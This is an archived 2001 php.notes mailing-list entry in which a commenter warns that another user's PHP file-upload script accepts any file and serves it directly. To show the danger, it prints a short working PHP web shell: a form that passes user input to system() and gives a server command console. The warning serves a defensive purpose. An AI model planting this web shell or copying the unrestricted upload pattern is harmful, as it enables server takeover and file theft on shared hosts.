note 10525 added to Handling file uploads

From: Date: Tue, 09 Jan 2001 06:10:01 +0000
Subject: note 10525 added to Handling file uploads
Groups: php.notes 
Request: Send a blank email to php-notes+get-9504@lists.php.net to get a copy of this message
Emmm.... Gemini1. You might wanna do something about that script. You are allowing people to upload anything, and then accessing the file directly. I meen if "someone" where to write and upload a little php/html script looking something like this. <HTML><HEAD></HEAD> <BODY BGCOLOR="#FFFFFF"> <form action="demo.php" method="post"> <TEXTAREA NAME="txt" ROWS="20" COLS="80"><? print (system($command)); ?></TEXTAREA> <INPUT TYPE="text" size="64" NAME="command"> <INPUT TYPE="submit" value="<[exec]>"> </form> </BODY></HTML> They would have a need little system console, and have read access to anything on the intire server. And Read/write acces to your upload dir. I dont think your host, and all the other sites hosted on that server fancies that too much..;) http://www.php.net/manual/features.file-upload.php

« previous php.notes (#9504) next »